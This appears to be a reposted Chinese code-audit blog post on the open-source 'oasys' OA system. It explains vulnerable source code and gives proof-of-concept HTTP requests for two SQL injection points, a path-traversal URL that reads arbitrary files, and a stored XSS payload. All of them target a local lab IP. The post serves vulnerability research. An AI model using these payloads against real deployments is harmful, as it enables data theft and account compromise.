oasys: 办公自动化(OA)是面向组织的日常运作和管理,员工及管理者使用频率最高的应用系统,极大提高公司的办公效率。oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。 (gitee.com)
SQL注入(两个注入点)
这段代码是
MyBatis
的XML
映射文件中的一个SELECT
查询语句。该查询从两张表aoa_director_users
和aoa_director
中获取相关信息,并根据一些动态条件过滤结果。返回类型是Map
,结果会以键值对的形式返回
<select id="allDirector" resultType="java.util.Map"> SELECT d.*,u.* FROM aoa_director_users AS u LEFT JOIN aoa_director AS d ON d.director_id = u.director_id WHERE u.user_id=#{userId} AND u.director_id is NOT null AND u.is_handle=1 <iftest="pinyin !='ALL'"> AND d.pinyin LIKE '${pinyin}%' </if> <iftest="outtype !=null and outtype !=''"> AND u.catelog_name = '${outtype}' </if> <iftest="baseKey !=null and baseKey !=''"> AND (d.user_name LIKE '%${baseKey}%' OR d.phone_number LIKE '%${baseKey}%' OR d.companyname LIKE '%${baseKey}%' OR d.pinyin LIKE '${baseKey}%' OR u.catelog_name LIKE '%${baseKey}%' ) </if> order by u.catelog_name </select>
src/main/java/cn/gson/oasys/mappers/AddressMapper.java
public interface AddressMapper { /*根据用户来找外部通讯录联系人*/ List<Map<String, Object>> allDirector(@Param("userId") Long userId,@Param("pinyin") String pinyin,@Param("outtype") String outtype,@Param("baseKey") String baseKey);}
src/main/java/cn/gson/oasys/controller/address/AddrController.java
@RequestMapping("outaddresspaging") public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model, @RequestParam(value="baseKey",required=false) String baseKey, @RequestParam(value="outtype",required=false) String outtype, @RequestParam(value="alph",defaultValue="ALL") String alph, @SessionAttribute("userId") Long userId ){ PageHelper.startPage(page, 10); List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey); List<Map<String, Object>> adds=addressService.fengzhaung(directors); PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);if(!StringUtils.isEmpty(outtype)){ model.addAttribute("outtype", outtype); } Pageable pa=new PageRequest(0, 10); Page<User> userspage=uDao.findAll(pa); List<User> users=userspage.getContent(); model.addAttribute("modalurl", "modalpaging"); model.addAttribute("modalpage", userspage); model.addAttribute("users", users); model.addAttribute("userId", userId); model.addAttribute("baseKey", baseKey); model.addAttribute("directors", adds); model.addAttribute("page", pageinfo); model.addAttribute("url", "outaddresspaging");return"address/outaddrss"; }
注意一下以下传参
userId, alph, outtype, baseKey
注入点如下:
alph,outtype, baseKey
请求包
POST /outaddresspaging HTTP/1.1Host: 192.168.0.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Origin: http://192.168.0.142Referer: http://192.168.0.142/addrmanageAccept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: JSESSIONID=045BA8272A4BDF41617AF3FA01A878D2Accept: text/html, q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 17alph=ALL&outtype=1
第一个注入点
POST /outaddresspaging HTTP/1.1Host: 192.168.0.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Origin: http://192.168.0.142Referer: http://192.168.0.142/addrmanageAccept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: JSESSIONID=045BA8272A4BDF41617AF3FA01A878D2Accept: text/html, q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 17alph=ALL%&outtype=1
第二个注入点
POST /outaddresspaging HTTP/1.1Host: 192.168.0.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Origin: http://192.168.0.142Referer: http://192.168.0.142/addrmanageAccept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: JSESSIONID=045BA8272A4BDF41617AF3FA01A878D2Accept: text/html, q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 17alph=ALL&outtype=1%
oasys 任意文件读取下载
src/main/java/cn/gson/oasys/controller/user/UserpanelController.java
@RequestMapping("image/**") public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request) throws Exception { String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath(); System.out.println(projectPath); String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8")); String path = startpath.replace("/image", ""); File f = new File(rootpath, path); ServletOutputStream sos = response.getOutputStream(); try { FileInputStream input = new FileInputStream(f.getPath()); byte[] data = new byte[(int) f.length()]; IOUtils.readFully(input, data); // 将文件流输出到浏览器 IOUtils.write(data, sos); input.close(); sos.close(); } catch (IOException e) { } }}
@RequestMapping("image/**")
注解表示映射所有以 /image/
开头的 URL
到这个方法。 该方法接收多个参数,包括 Model(用于与视图进行数据传递)、HttpServletResponse
(用于写入响应)、userId
(从会话中获取的用户ID),以及 HttpServletRequest
(代表客户端请求)。
projectPath
获取类加载器的根路径(通常是应用程序的资源目录)。这可能用于确定图片文件的基础路径。startpathba
通过 URLDecoder.decode
对请求URI
进行解码,以处理URL
中可能包含的特殊字符。path
从请求URI
中去掉/image
前缀,获取实际图片的相对路径。
使用FileInputStream
打开文件并读取其内容,使用Apache Commons IO
的IOUtils.readFully
将文件读取到字节数组中。 然后,通过IOUtils.write
将字节数据写入ServletOutputStream
,最终将图片输出到浏览器。 关闭文件输入流和输出流,释放资源。 POC
http://192.168.0.142/image//image..//image..//image..//image..//image..//image..//image..//image..//image..//image../1.txt
oasys 存储型xss
漏洞请求包
POST /typecheck HTTP/1.1Host: 192.168.0.142Cache-Control: max-age=0Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Referer: http://192.168.0.142/typeedit?typeid=48Origin: http://192.168.0.142Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1Cookie: JSESSIONID=7DD42B49BDD8F6866CB93C62231D54CAAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateContent-Length: 191typeModel=%3Cscript%3Ealert%28%27XSS1%27%29%3C%2Fscript%3E&typeName=%3Cscript%3Ealert%28%27XSS2%27%29%3C%2Fscript%3E&typeSortValue=1&typeColor=%3Cscript%3Ealert%28%27XSS3%27%29%3C%2Fscript%3E
src/main/java/cn/gson/oasys/controller/system/TypeSysController.java
@RequestMapping("typecheck") public String testMess(HttpServletRequest req, @Valid SystemTypeList menu, BindingResult br) { HttpSession session = req.getSession(); Long menuId = null; req.setAttribute("menuObj", menu); // 这里返回ResultVO对象,如果校验通过,ResultEnum.SUCCESS.getCode()返回的值为200;否则就是没有通过; ResultVO res = BindingResultVOUtil.hasErrors(br); // 校验失败if (!ResultEnum.SUCCESS.getCode().equals(res.getCode())) { List<Object> list = new MapToList<>().mapToList(res.getData()); req.setAttribute("errormess", list.get(0).toString()); // 代码调试阶段,下面是错误的相关信息; System.out.println("list错误的实体类信息:" + menu); System.out.println("list错误详情:" + list); System.out.println("list错误第一条:" + list.get(0)); System.out.println("啊啊啊错误的信息——:" + list.get(0).toString()); // 下面的info信息是打印出详细的信息 log.info("getData:{}", res.getData()); log.info("getCode:{}", res.getCode()); log.info("getMsg:{}", res.getMsg()); } // 校验通过,下面写自己的逻辑业务else { // 判断是否从编辑界面进来的,前面有"session.setAttribute("getId",getId);",在这里获取,并remove掉;if (!StringUtils.isEmpty(session.getAttribute("typeid"))) { System.out.println(session.getAttribute("typeid")); menuId = (Long) session.getAttribute("typeid"); // 获取进入编辑界面的menuID值 menu.setTypeId(menuId); log.info("getId:{}", session.getAttribute("typeid")); session.removeAttribute("typeid"); } // 执行业务代码 typeService.save(menu); System.out.println("此操作是正确的"); req.setAttribute("success", "后台验证成功"); } System.out.println("是否进入最后的实体类信息:" + menu);return"systemcontrol/typeedit"; }
@RequestMapping("typecheck")
: 这个注解将URL"typecheck"
的请求映射到testMess
方法。@Valid SystemTypeList menu
, BindingResult br: menu
是需要校验的对象,@Valid
注解确保对menu
进行数据校验,BindingResult br
用于存储校验的结果。
这段代码定义了
SystemTypeList
实体类,用于映射数据库中的 aoa_type_list
表。该实体类包含多个字段,每个字段都映射到数据库表中的相应列。具体如下:
-
Entity
: 该注解标识这是一个 JPA 实体类,将会被映射到数据库表中。 -
@Table(name="aoa_type_list"):
指定该实体类对应的数据库表名称为aoa_type_list
。 -
@Id
: 标识该字段是实体的主键。 -
@GeneratedValue(strategy=GenerationType.IDENTITY)
: 主键生成策略,使用IDENTITY
表示主键的值由数据库自动生成,通常用于MySQL
自增列。 -
@Column(name="type_id")
: 将typeId
字段映射到数据库中的type_id
列。 -
@NotEmpty(message="类型名称不能为空")
: 这是一个Hibernate Validator
的校验注解,表示typeName
字段不能为空,如果为空,将会返回错误信息."类型名称不能为空"
。 -
各个字段: typeId:
类型ID
,主键,映射到type_id
列,类型为Long
。typeName:
类型名称,映射到type_name
列
经过测试,存在存储型xss,定位存在问题的界面,提取其请求加载的接口
加载的URL如下所示
http://192.168.0.142/testsystype
@RequestMapping("testsystype") public String testsystype(HttpServletRequest req) { Iterable<SystemTypeList> typeList = typeDao.findAll(); req.setAttribute("typeList", typeList);return"systemcontrol/typemanage"; }
通过注解定位到 URL 路径"testsystype"
的HTTP请求的该方法。这行代码从SystemTypeList
的数据库表中获取所有记录。
通过req.setAttribute
将typeList
列表设置为请求属性,名称为"typeList"
,这样在前端视图中就可以访问该数据。
方法返回视图的名称"systemcontrol/typemanage"
,对应JSP或HTML页面,该页面将显示typeList
数据。
src/main/resources/templates/systemcontrol/typemanage.ftl
该模板包含加载另一模板,跟踪跳转到另一模板文件
<div class="box-body no-padding thistable"> <#include "typetable.ftl"> </div>
src/main/resources/templates/systemcontrol/typetable.ftl
从表中读取加载typeModel,typeName字段内容等
Iterable<SystemTypeList> typeList = typeDao.findAll();
原文始发于微信公众号(花火安全):代码审计 | OASYS OA代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论